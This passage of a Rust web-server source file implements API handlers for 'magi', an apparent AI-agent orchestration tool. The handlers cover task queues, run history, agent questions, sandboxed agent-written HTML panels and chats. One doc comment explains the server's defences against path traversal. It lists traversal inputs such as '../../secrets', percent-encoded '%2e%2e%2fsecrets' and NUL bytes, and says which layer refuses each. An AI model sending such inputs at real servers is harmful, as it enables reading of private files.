2592/// records, `#[serde(flatten)]`ed so `records` reads exactly as it does in
2593/// `<id>.advisors.json`, plus the task file the deliberation actually
2594/// produced.
2595///
2596/// The proposals alone answer "what did the advisors argue"; they cannot
2597/// answer "which of that actually shaped the task file", which is the
2598/// question the attribution [`prompt::synthesize`] asks the planner to write
2599/// is supposed to let the operator check. Reading that check requires the
2600/// synthesized `## Context` / `## Change` themselves, not just the inputs to
2601/// them - so this carries the draft's own text alongside the record it was
2602/// built from.
2603#[derive(Debug, Serialize)]
2604struct DraftAdvisorsView {
2605    #[serde(flatten)]
2606    advice: advise::Advice,
2607    /// The task file the deliberation produced, or `None` when there is
2608    /// nothing yet worth calling that.
2609    ///
2610    /// Gated on `advice.synthesized`, not on whether `<id>.md` merely exists:
2611    /// [`crate::advise::run`] writes `<id>.advisors.json` unconditionally,
2612    /// before any of its own checks that could still bail - an advisor
2613    /// roster that produced nothing usable, a planner crash, a synthesis
2614    /// `vet` rejects - and every one of those leaves `<id>.md` exactly as
2615    /// the interview wrote it. Serving that text under the same key a
2616    /// successful run uses would present the raw, un-synthesized interview
2617    /// draft as the deliberation's output, which is not what it is - see
2618    /// [`advise::Advice::synthesized`].
2619    draft: Option<String>,
2620    /// The same text, pre-parsed - the plan surface's other markdown views
2621    /// all render a server-parsed tree rather than trusting a client-side
2622    /// parser with agent-authored text.
2623    draft_md: Option<Vec<md::Node>>,
2624}
2625
2626/// `GET /api/drafts/{id}/advisors` - the raw record of `magi plan`'s headless
2627/// design-deliberation stage for one draft, plus the task file it produced,
2628/// when it produced one.
2629///
2630/// `magi plan` runs from a terminal, and a phone has none: this is the plan
2631/// surface's read of what the CLI interview produced, straight off
2632/// `<magi home>/drafts/<id>.advisors.json` - the file [`crate::advise::run`]
2633/// writes unconditionally, before any check of its own that could still
2634/// bail, and, only once that deliberation actually finished, `<id>.md`
2635/// alongside it.
2636async fn draft_advisors(
2637    State(ui): State<Arc<Ui>>,
2638    Path(id): Path<String>,
2639) -> ApiResult<Json<DraftAdvisorsView>> {
2640    blocking(move || {
2641        let dir = ui.home.join("drafts");
2642        let id = resolve_draft(&dir, &id)?;
2643        let path = dir.join(format!("{id}.advisors.json"));
2644        let raw = std::fs::read_to_string(&path)
2645            .map_err(|_| ApiError::not_found(format!("no advisor record for draft `{id}`")))?;
2646        let advice: advise::Advice = serde_json::from_str(&raw)
2647            .map_err(|e| ApiError::internal(format!("parse {}: {e:#}", path.display())))?;
2648        // Un-synthesized is the same as absent here: `<id>.md` is still the
2649        // raw interview draft, not this deliberation's output, and must
2650        // never be shown as if it were.
2651        let draft = advice
2652            .synthesized
2653            .then(|| std::fs::read_to_string(dir.join(format!("{id}.md"))).ok())
2654            .flatten();
2655        let draft_md = draft
2656            .as_deref()
2657            .map(|body| md::to_nodes(body, &md::ImageBase::None));
2658        Ok(Json(DraftAdvisorsView {
2659            advice,
2660            draft,
2661            draft_md,
2662        }))
2663    })
2664    .await
2665}
2666
2667async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2668    blocking(move || {
2669        Ok(Json(
2670            ui.queue.list().into_iter().map(TaskView::from).collect(),
2671        ))
2672    })
2673    .await
2674}
2675
2676/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
2677/// gives no reason - which must keep working, since not every hold has one.
2678#[derive(Debug, Default, Deserialize)]
2679#[serde(default, deny_unknown_fields)]
2680struct HoldBody {
2681    reason: Option<String>,
2682}
2683
2684async fn queue_hold(
2685    State(ui): State<Arc<Ui>>,
2686    Path(id): Path<String>,
2687    body: std::result::Result<Json<HoldBody>, JsonRejection>,
2688) -> ApiResult<Json<TaskView>> {
2689    // An absent body is the ordinary case - most holds are unexplained, and
2690    // that has to stay a one-tap action rather than a form. A body that is
2691    // present and malformed is still a bad request.
2692    let body = match body {
2693        Ok(Json(body)) => body,
2694        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2695        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2696    };
2697    let reason = body.reason.filter(|r| !r.trim().is_empty());
2698    mutate(ui, id, move |t| {
2699        t.hold(reason.clone());
2700        Ok(())
2701    })
2702    .await
2703}
2704
2705async fn queue_release(
2706    State(ui): State<Arc<Ui>>,
2707    Path(id): Path<String>,
2708) -> ApiResult<Json<TaskView>> {
2709    mutate(ui, id, |t| {
2710        t.release();
2711        Ok(())
2712    })
2713    .await
2714}
2715
2716/// The body of `POST /api/queue/{id}/priority`.
2717#[derive(Debug, Deserialize)]
2718#[serde(deny_unknown_fields)]
2719struct PriorityBody {
2720    priority: i32,
2721}
2722
2723/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
2724///
2725/// [`Task::set_priority`] is the one place the "not while running" rule is
2726/// stated; this route only carries the body to it and lets its `Err` become
2727/// the 4xx the card shows.
2728async fn queue_priority(
2729    State(ui): State<Arc<Ui>>,
2730    Path(id): Path<String>,
2731    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2732) -> ApiResult<Json<TaskView>> {
2733    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2734    mutate(ui, id, move |t| t.set_priority(body.priority)).await
2735}
2736
2737/// The body of `POST /api/queue/{id}/edit`.
2738#[derive(Debug, Deserialize)]
2739#[serde(deny_unknown_fields)]
2740struct EditBody {
2741    title: String,
2742    instruction: String,
2743}
2744
2745/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
2746/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
2747/// that refusal's message is what the sheet shows back.
2748async fn queue_edit(
2749    State(ui): State<Arc<Ui>>,
2750    Path(id): Path<String>,
2751    body: std::result::Result<Json<EditBody>, JsonRejection>,
2752) -> ApiResult<Json<TaskView>> {
2753    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2754    mutate(ui, id, move |t| {
2755        t.edit(body.title.clone(), body.instruction.clone())
2756    })
2757    .await
2758}
2759
2760/// `POST /api/queue/{id}/done` - close a task as finished without deleting
2761/// it, so the phone's other way to clear a task from the backlog does not
2762/// have to cost the run history, the attribution, and `created_at` the way
2763/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
2764/// can be marked done by hand, because this is for the run the loop never
2765/// saw land - a merge done by hand, or a gate that misreported - and that can
2766/// happen from any status the task was left in.
2767async fn queue_done(
2768    State(ui): State<Arc<Ui>>,
2769    Path(id): Path<String>,
2770) -> ApiResult<Json<TaskView>> {
2771    mutate(ui, id, |t| {
2772        t.succeed();
2773        Ok(())
2774    })
2775    .await
2776}
2777
2778/// `DELETE /api/queue/{id}`.
2779///
2780/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2781/// names this task: a `running` status or an orphaned `.lock` left behind by a
2782/// killed daemon is a leftover, and treating either as authority made the
2783/// task undeletable from the phone for good. The associated runs, if any, are
2784/// kept: a run is self-contained history and not an appendage of the task.
2785async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2786    blocking(move || {
2787        let id = resolve_task(&ui.queue, &id)?;
2788        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2789        ui.queue
2790            .remove(&id, in_flight)
2791            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2792        Ok(StatusCode::NO_CONTENT)
2793    })
2794    .await
2795}
2796
2797/// Read a task, change it, write it back, under the queue's own lock.
2798///
2799/// Taking the same claim a daemon takes is what makes hold, release,
2800/// priority, edit, and done safe to press while magi is running: without it
2801/// the daemon's next save would land on top of the operator's change and
2802/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
2803/// both do, for a running task - and that refusal becomes the 4xx the card
2804/// shows, same as any other domain rule.
2805async fn mutate(
2806    ui: Arc<Ui>,
2807    id: String,
2808    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2809) -> ApiResult<Json<TaskView>> {
2810    blocking(move || {
2811        let id = resolve_task(&ui.queue, &id)?;
2812        // `claim` fails when the lock file already exists, which is the
2813        // conflict the UI must report: the daemon owns that task's file for
2814        // as long as it is running it, and our write would be lost under its
2815        // next save. The message names the lock either way.
2816        let _claim = ui.queue.claim(&id).map_err(|e| {
2817            ApiError::conflict(format!(
2818                "{e:#} - a daemon is running this task, so it cannot be \
2819                 changed from here yet"
2820            ))
2821        })?;
2822        let mut task = ui.queue.get(&id)?;
2823        change(&mut task).map_err(ApiError::bad_request_from)?;
2824        ui.queue.put(&mut task)?;
2825        Ok(Json(TaskView::from(task)))
2826    })
2827    .await
2828}
2829
2830/// The change stream: one revision number per store, on connect and whenever
2831/// any of them moves.
2832///
2833/// The poll runs in one spawned task per client, which is affordable because
2834/// the work is a directory scan and a `stat` per file. It stops as soon as the
2835/// receiver is gone, so a phone that walks out of range costs nothing after
2836/// its next tick - there is no session and no cleanup to forget.
2837async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2838    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2839    tokio::spawn(async move {
2840        let mut ticker = tokio::time::interval(POLL);
2841        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2842        loop {
2843            // The first tick completes immediately, which is what makes the
2844            // stream announce the current revisions on connect.
2845            ticker.tick().await;
2846            let state = Arc::clone(&ui);
2847            let revisions = tokio::task::spawn_blocking(move || {
2848                (
2849                    state.queue.revision(),
2850                    runs_revision(&state.runs),
2851                    state.questions.revision(),
2852                    state.chats.revision(),
2853                    state.talks.revision(),
2854                    // The loop's counter is in-process state rather than a
2855                    // file, so nothing the three stats above look at would
2856                    // tell this phone that another one started the loop.
2857                    state.lock_loop().rev,
2858                )
2859            })
2860            .await;
2861            let Ok(revisions) = revisions else { break };
2862            if last == Some(revisions) {
2863                continue;
2864            }
2865            last = Some(revisions);
2866            let payload = serde_json::json!({
2867                "queue_rev": revisions.0,
2868                "runs_rev": revisions.1,
2869                "questions_rev": revisions.2,
2870                "chats_rev": revisions.3,
2871                "talks_rev": revisions.4,
2872                "loop_rev": revisions.5,
2873            });
2874            // Serializing five integers cannot fail; giving up beats looping.
2875            let Ok(event) = Event::default().event("change").json_data(payload) else {
2876                break;
2877            };
2878            if tx.send(event).await.is_err() {
2879                break;
2880            }
2881        }
2882    });
2883    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2884        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2885}
2886
2887/// Change detection token for recorded runs under `runs`.
2888///
2889/// Combines the id and `run.json` modification time of each run, so adding,
2890/// updating, or deleting any run — even an older one — moves the revision and
2891/// notifies connected clients via the change stream. Returns 0 when no runs
2892/// exist.
2893fn runs_revision(runs: &FsPath) -> u64 {
2894    use std::hash::{Hash as _, Hasher as _};
2895
2896    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2897        .into_iter()
2898        .flatten()
2899        .flatten()
2900        .filter_map(|e| {
2901            let path = e.path().join("run.json");
2902            let mtime = path
2903                .metadata()
2904                .ok()?
2905                .modified()
2906                .ok()?
2907                .duration_since(std::time::UNIX_EPOCH)
2908                .ok()?
2909                .as_millis() as u64;
2910            let id = e.file_name().to_string_lossy().into_owned();
2911            Some((id, mtime))
2912        })
2913        .collect();
2914
2915    if entries.is_empty() {
2916        return 0;
2917    }
2918
2919    entries.sort_unstable();
2920    let mut hasher = std::hash::DefaultHasher::new();
2921    for (id, mtime) in &entries {
2922        id.hash(&mut hasher);
2923        mtime.hash(&mut hasher);
2924    }
2925    let h = hasher.finish();
2926    if h == 0 { 1 } else { h }
2927}
2928
2929/// Run ids under `runs`, newest first.
2930///
2931/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2932/// which reads the process-global home: the server has to be drivable against
2933/// a temp directory for any of this to be testable.
2934fn run_ids(runs: &FsPath) -> Vec<String> {
2935    let mut ids: Vec<String> = std::fs::read_dir(runs)
2936        .into_iter()
2937        .flatten()
2938        .flatten()
2939        .filter(|e| e.path().join("run.json").is_file())
2940        .map(|e| e.file_name().to_string_lossy().into_owned())
2941        .collect();
2942    // Ids start with a sortable timestamp.
2943    ids.sort_unstable_by(|a, b| b.cmp(a));
2944    ids
2945}
2946
2947/// Read one run's state from an explicit runs root.
2948fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2949    let path = runs.join(id).join("run.json");
2950    let body =
2951        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2952    let state: RunState =
2953        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2954    if state.schema != run::SCHEMA {
2955        anyhow::bail!(
2956            "run {} was written by a different magi (schema {}, this build speaks {})",
2957            state.id,
2958            state.schema,
2959            run::SCHEMA
2960        );
2961    }
2962    Ok(state)
2963}
2964
2965/// Runs on disk under `runs` whose state this build cannot parse - almost
2966/// always a schema bump, occasionally a run killed mid-write.
2967///
2968/// Exposed so every surface that reports on runs shares one count instead of
2969/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
2970/// `magi doctor` calls this directly rather than guessing at the same number
2971/// a second way.
2972#[must_use]
2973pub fn runs_unreadable(runs: &FsPath) -> usize {
2974    run_ids(runs)
2975        .into_iter()
2976        .filter(|id| read_run(runs, id).is_err())
2977        .count()
2978}
2979
2980/// Expand an id or short id to exactly one run id.
2981fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2982    if runs.join(id).join("run.json").is_file() {
2983        return Ok(id.to_owned());
2984    }
2985    pick(run_ids(runs), id, "run")
2986}
2987
2988/// Expand an id or short id to exactly one task id.
2989fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2990    if queue.path_of(id).is_file() {
2991        return Ok(id.to_owned());
2992    }
2993    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2994}
2995
2996/// A question as the phone reads it.
2997///
2998/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
2999/// text already parsed into a node tree so the client never runs its own
3000/// markdown reader over agent-authored prose. A relative image path in it
3001/// resolves against this question's own panel asset route, which is the one
3002/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
3003/// separate, sandboxed document, but `detail` is rendered inline in the
3004/// operator's own page, so an image reference in it may only ever point at
3005/// files magi itself already serves for this question.
3006#[derive(Debug, Serialize)]
3007struct QuestionView {
3008    #[serde(flatten)]
3009    question: Question,
3010    detail_md: Vec<md::Node>,
3011    /// Is the ball in the agent's court right now?
3012    ///
3013    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
3014    /// [`Question::say`] - so this is the one field that tells the phone to
3015    /// disable the answer controls and show "waiting for the agent" instead of
3016    /// a card the owner can act on. Computed rather than stored on
3017    /// [`Question`] itself, on the same reasoning as `waiting` on
3018    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
3019    /// it here means the client never has to re-derive that rule.
3020    waiting_on_agent: bool,
3021}
3022
3023impl From<Question> for QuestionView {
3024    fn from(question: Question) -> Self {
3025        let base = md::ImageBase::QuestionPanel {
3026            id: question.id.clone(),
3027        };
3028        Self {
3029            detail_md: md::to_nodes(&question.detail, &base),
3030            waiting_on_agent: question.waiting_on_agent(),
3031            question,
3032        }
3033    }
3034}
3035
3036/// `GET /api/questions`.
3037///
3038/// Everything, not just the open ones: an answered question is the record of a
3039/// decision, and the phone is where the operator goes back to check what they
3040/// told an agent at 3am. `ask::Questions::list` already ranks open first.
3041async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3042    blocking(move || {
3043        Ok(Json(
3044            ui.questions
3045                .list()
3046                .into_iter()
3047                .map(QuestionView::from)
3048                .collect(),
3049        ))
3050    })
3051    .await
3052}
3053
3054/// The body of `POST /api/questions/{id}/answer`.
3055///
3056/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
3057/// a bad request rather than a guess: an answer magi invented is worse than a
3058/// question left open.
3059#[derive(Debug, Default, Deserialize)]
3060#[serde(default, deny_unknown_fields)]
3061struct NewAnswer {
3062    choice: Option<String>,
3063    text: Option<String>,
3064}
3065
3066async fn question_answer(
3067    State(ui): State<Arc<Ui>>,
3068    Path(id): Path<String>,
3069    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3070) -> ApiResult<Json<QuestionView>> {
3071    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3072    let answer = match (body.choice, body.text) {
3073        (Some(c), None) => Answer::Choice(c),
3074        (None, Some(t)) => Answer::Text(t),
3075        (Some(_), Some(_)) => {
3076            return Err(ApiError::bad_request(
3077                "send either `choice` or `text`, not both",
3078            ));
3079        }
3080        (None, None) => {
3081            return Err(ApiError::bad_request("send a `choice` or a `text`"));
3082        }
3083    };
3084
3085    blocking(move || {
3086        let id = resolve_question(&ui.questions, &id)?;
3087        let mut q = ui
3088            .questions
3089            .get(&id)
3090            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3091        if !q.status.open() {
3092            // Answered from the terminal, or by another phone, in between the
3093            // list and the tap. The UI shows the recorded answer rather than an
3094            // error, so it needs the record, not just the status.
3095            return Err(ApiError::conflict(format!(
3096                "question {} is already {}",
3097                q.short(),
3098                q.status.as_str()
3099            )));
3100        }
3101        // `Question::answer` owns the rules - an unoffered choice, free text on
3102        // a multiple-choice question, an empty reply - so the route does not
3103        // restate them and cannot drift from the CLI's behaviour.
3104        q.answer(answer).map_err(ApiError::bad_request_from)?;
3105        ui.questions.put(&mut q)?;
3106        Ok(Json(QuestionView::from(q)))
3107    })
3108    .await
3109}
3110
3111/// The body of `POST /api/questions/{id}/say`.
3112#[derive(Debug, Deserialize)]
3113#[serde(deny_unknown_fields)]
3114struct NewSay {
3115    body: String,
3116}
3117
3118/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
3119///
3120/// Synchronous, unlike `POST /api/chats/{id}/say`: that route spawns an agent
3121/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
3122/// file, so there is no turn to serialize against and no [`Ui::begin_turn`]
3123/// guard to take. The agent waiting on this question is a *different*
3124/// process - the run parked behind `magi ask` - and picks the reply up on its
3125/// own poll of the very same file, same as an answer does.
3126async fn question_say(
3127    State(ui): State<Arc<Ui>>,
3128    Path(id): Path<String>,
3129    body: std::result::Result<Json<NewSay>, JsonRejection>,
3130) -> ApiResult<Json<QuestionView>> {
3131    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3132    blocking(move || {
3133        let id = resolve_question(&ui.questions, &id)?;
3134        let mut q = ui
3135            .questions
3136            .get(&id)
3137            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3138        if !q.status.open() {
3139            // Same granularity as `question_answer`: answered or abandoned in
3140            // between the list and the tap is not this route's error to
3141            // explain any differently.
3142            return Err(ApiError::conflict(format!(
3143                "question {} is already {}",
3144                q.short(),
3145                q.status.as_str()
3146            )));
3147        }
3148        // `Question::say` owns the one rule that matters here - an empty
3149        // message tells the agent nothing - so the route does not restate it.
3150        q.say(body.body).map_err(ApiError::bad_request_from)?;
3151        ui.questions.put(&mut q)?;
3152        Ok(Json(QuestionView::from(q)))
3153    })
3154    .await
3155}
3156
3157/// Expand an id or short id to exactly one question id.
3158fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3159    if store.path_of(id).is_file() {
3160        return Ok(id.to_owned());
3161    }
3162    pick(
3163        store.list().into_iter().map(|q| q.id).collect(),
3164        id,
3165        "question",
3166    )
3167}
3168
3169/// `GET /api/questions/{id}/panel`.
3170///
3171/// The panel an agent wrote for this question, as `text/html` under
3172/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
3173/// A question without one is a 404 rather than an empty page: the client
3174/// preflights this route with `HEAD` and must be able to tell "no panel" from
3175/// "a panel that rendered blank", and a sandboxed frame is opaque to the
3176/// parent document so it cannot tell the difference by looking.
3177///
3178/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
3179/// sanitises or minifies it - a sanitiser is a list of things someone thought
3180/// of, and the sandbox plus the CSP is a list of things that are allowed, which
3181/// is the direction that stays safe when an agent writes markup nobody
3182/// predicted.
3183async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3184    blocking(move || {
3185        let id = resolve_question(&ui.questions, &id)?;
3186        let Some(html) = ui.questions.panel_html(&id) else {
3187            return Err(ApiError::not_found(format!("question {id} has no panel")));
3188        };
3189        Ok(panel_response(
3190            "text/html; charset=utf-8",
3191            false,
3192            html.into_bytes(),
3193        ))
3194    })
3195    .await
3196}
3197
3198/// `GET /api/questions/{id}/asset/{name}`.
3199///
3200/// One file from the question's own panel directory, so a panel can show a
3201/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
3202/// having to allow anything off this machine.
3203///
3204/// This is the only route in the server where a client names a file, so it is
3205/// the only one with a traversal surface, and the name is checked by
3206/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
3207/// what is worth being explicit about, because the answer is not "all of it in
3208/// one place":
3209///
3210/// * `asset/../../secrets` never reaches this handler at all. axum matches on
3211///   the raw request path and `{name}` spans exactly one segment, so a real
3212///   slash makes the request too long for the route and the router answers 404.
3213/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
3214///   percent-decodes path parameters, so `name` arrives as `../secrets` and
3215///   `..\secrets` respectively, which look like plain filenames to the router.
3216///   The validator refuses them here - both for the literal `..` and because
3217///   `/` and `\` are not in the permitted character set - and answers 400.
3218/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
3219///   the platform's path API is not, and it is refused here for the same
3220///   reason: NUL is not a permitted character.
3221/// * [`Questions::panel_asset`] validates again on read, so the check is not
3222///   load-bearing in only one place. This route's own check exists so the
3223///   failure is a 400 that says which name was wrong, rather than a store error
3224///   the operator has to interpret.
3225async fn question_asset(
3226    State(ui): State<Arc<Ui>>,
3227    Path((id, name)): Path<(String, String)>,
3228) -> ApiResult<Response> {
3229    // Before any filesystem work and before any path is built: a name this
3230    // server will not serve should not become a `PathBuf` at all.
3231    if !crate::ask::valid_asset_name(&name) {
3232        return Err(ApiError::bad_request(format!(
3233            "`{name}` is not a usable asset name"
3234        )));
3235    }
3236    blocking(move || {
3237        let id = resolve_question(&ui.questions, &id)?;
3238        let asset = ui
3239            .questions
3240            .panel_asset(&id, &name)
3241            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3242        let Some(bytes) = asset else {
3243            return Err(ApiError::not_found(format!(
3244                "question {id} has no asset `{name}`"
3245            )));
3246        };
3247        Ok(panel_response(
3248            asset_content_type(&name),
3249            is_svg(&name),
3250            bytes,
3251        ))
3252    })
3253    .await
3254}
3255
3256/// Content type for a panel asset, from a closed whitelist.
3257///
3258/// A whitelist with an `application/octet-stream` fallback rather than a
3259/// guess, because the one answer that must never come out of here is
3260/// `text/html`. An agent that writes `notes.html` into its panel directory and
3261/// links it would otherwise get its own markup rendered at the top level of the
3262/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
3263/// magi's origin - which is precisely the thing the panel design exists to
3264/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
3265///
3266/// `nosniff` accompanies this on every response, so a browser cannot decide it
3267/// knows better than the type we sent.
3268fn asset_content_type(name: &str) -> &'static str {
3269    match extension(name).as_deref() {
3270        Some("png") => "image/png",
3271        Some("jpg" | "jpeg") => "image/jpeg",
3272        Some("gif") => "image/gif",
3273        Some("webp") => "image/webp",
3274        Some("svg") => "image/svg+xml",
3275        Some("css") => "text/css; charset=utf-8",
3276        Some("txt") => "text/plain; charset=utf-8",
3277        _ => "application/octet-stream",
3278    }
3279}
3280
3281/// Is this an SVG, and therefore a file that must never be opened at the top
3282/// level?
3283fn is_svg(name: &str) -> bool {
3284    extension(name).as_deref() == Some("svg")
3285}
3286
3287/// Lowercased extension, or `None` for a name without one.
3288fn extension(name: &str) -> Option<String> {
3289    name.rsplit_once('.')
3290        .map(|(_, ext)| ext.to_ascii_lowercase())
3291}
3292
3293/// Every panel response, with the four headers that make it safe and, for an
3294/// SVG, a fifth.
3295///
3296/// One function rather than a header list per handler, because a panel route
3297/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
3298/// model gone, silently, on one of two routes. Adding a third panel route later
3299/// means calling this, and there is nowhere else to build a panel response.
3300///
3301/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
3302/// as an `<img src>` inside the panel that script cannot run - but the asset
3303/// URL is also a plain URL an operator can be talked into opening in a tab,
3304/// where it is a document on magi's own origin. `Content-Disposition:
3305/// attachment` makes the browser download it instead of rendering it, which
3306/// closes that door without taking away the ability to draw a diff. Raster
3307/// images have no such execution surface and are left inline, so tapping a
3308/// screenshot still shows it.
3309fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3310    let mut res = (
3311        [
3312            (header::CONTENT_TYPE, content_type),
3313            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3314            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3315            (header::REFERRER_POLICY, "no-referrer"),
3316        ],
3317        body,
3318    )
3319        .into_response();
3320    if download {
3321        res.headers_mut().insert(
3322            header::CONTENT_DISPOSITION,
3323            HeaderValue::from_static("attachment"),
3324        );
3325    }
3326    res
3327}
3328
3329/// A chat as the phone reads it.
3330///
3331/// Every field of [`Chat`] verbatim, plus the things `app.js` would otherwise
3332/// have to work out itself: `turn_bodies_md`, one markdown node tree per entry
3333/// of `turns` in the same order; `draft_md`, the parsed form of `draft` when
3334/// there is one; and `thinking`. `turns` and `draft` are untouched - a client
3335/// reading the exact bytes a chat turn holds, or the exact bytes that would
3336/// be filed as a task, still can.
3337#[derive(Debug, Serialize)]
3338struct ChatView {
3339    #[serde(flatten)]
3340    chat: Chat,
3341    turn_bodies_md: Vec<Vec<md::Node>>,
3342    draft_md: Option<Vec<md::Node>>,
3343    /// Whether this chat's agent turn is claimed by [`Ui::begin_turn`] in
3344    /// *this process* right now.
3345    ///
3346    /// Not part of [`Chat`] and not written to `<id>.json`: it is this
3347    /// process's own in-memory claim, not a fact about the conversation, so a
3348    /// second `magi web` on the same home - or this one after a restart -
3349    /// would otherwise report a stale answer. It is a progress hint, not a
3350    /// completion signal: a turn that just finished writing to disk still
3351    /// reads `thinking: true` for the instant between the write and the
3352    /// guard's drop, and the front end must treat the transcript, not this
3353    /// flag going false, as the source of truth for a landed reply.
3354    thinking: bool,
3355}
3356
3357impl ChatView {
3358    fn new(chat: Chat, thinking: bool) -> Self {
3359        let turn_bodies_md = chat
3360            .turns
3361            .iter()
3362            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3363            .collect();
3364        let draft_md = chat
3365            .draft
3366            .as_deref()
3367            .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
3368        Self {
3369            turn_bodies_md,
3370            draft_md,
3371            thinking,
3372            chat,
3373        }
3374    }
3375}
3376
3377/// `GET /api/chats`.
3378///
3379/// Every interview, open ones first and newest first, which is
3380/// [`Chats::list`]'s own order. The whole record including the transcript: a
3381/// conversation is a few kilobytes, the phone renders it directly, and a
3382/// summary here would mean a second round trip to read the only thing a chat
3383/// is made of.
3384async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
3385    blocking(move || {
3386        Ok(Json(
3387            ui.chats
3388                .list()
3389                .into_iter()
3390                .map(|chat| {
3391                    let thinking = ui.is_thinking(&chat.id);
3392                    ChatView::new(chat, thinking)
3393                })
3394                .collect(),
3395        ))
3396    })
3397    .await
3398}
3399
3400async fn chat_detail(
3401    State(ui): State<Arc<Ui>>,
3402    Path(id): Path<String>,
3403) -> ApiResult<Json<ChatView>> {
3404    blocking(move || {
3405        let id = resolve_chat(&ui.chats, &id)?;
3406        let chat = ui.chats.get(&id)?;
3407        let thinking = ui.is_thinking(&chat.id);
3408        Ok(Json(ChatView::new(chat, thinking)))
3409    })
3410    .await
3411}
3412
3413/// The body of `POST /api/chats`.
3414///
3415/// `agent` names a seat from the roster to do the interviewing; absent means
3416/// the configured default, which is what the phone sends. `repo` is a path,
3417/// not a short name - resolving `owner/repo` against `[repos] roots` is the
3418/// job of whatever built the picker the operator chose from, i.e.
3419/// `GET /api/repos`, so this route only ever has to trust a path. `from`
3420/// derives this conversation from an existing one - see [`chat::open`].
3421/// Unknown fields are ignored so a newer front end still starts an interview
3422/// against an older binary.
3423#[derive(Debug, Default, Deserialize)]
3424#[serde(default)]
3425struct NewChat {
3426    idea: String,
3427    agent: Option<String>,
3428    repo: Option<PathBuf>,
3429    from: Option<String>,
3430}
3431
3432/// `POST /api/chats`.
3433///
3434/// The same asynchronous shape as [`chat_say`], for the same reason: starting
3435/// an interview runs the first agent turn, and holding the connection for that
3436/// is the coin flip on a phone `chat_say`'s doc explains. [`chat::build`]
3437/// constructs the record in memory only - fast, and everything in it is
3438/// checked before anything is written - so [`Ui::begin_turn`] can claim
3439/// `chat.id` *before* [`Chats::put`] makes it visible to any other request.
3440/// That order matters: the id does not exist anywhere until this handler
3441/// publishes it, so nothing else can resolve it, let alone claim or record
3442/// into it, ahead of the claim taken here. Publishing first and claiming
3443/// second would reopen exactly the race `chat_say`'s own 409 exists to
3444/// close - a `say` racing this response could win `begin_turn` first and
3445/// record into a seat whose first turn never ran, while this handler's own
3446/// claim then fails for a chat file it already created.
3447///
3448/// Every failure that reaches this function before [`Ui::begin_turn`] is
3449/// reported as a 4xx and creates no chat file: an empty `idea`, a bad `from`,
3450/// a `repo` whose configuration will not load, or a `repo` with no runnable
3451/// interviewing agent are all things the caller sent, not a server fault, and
3452/// none of them are worth a conversation record nobody can answer.
3453async fn chat_post(
3454    State(ui): State<Arc<Ui>>,
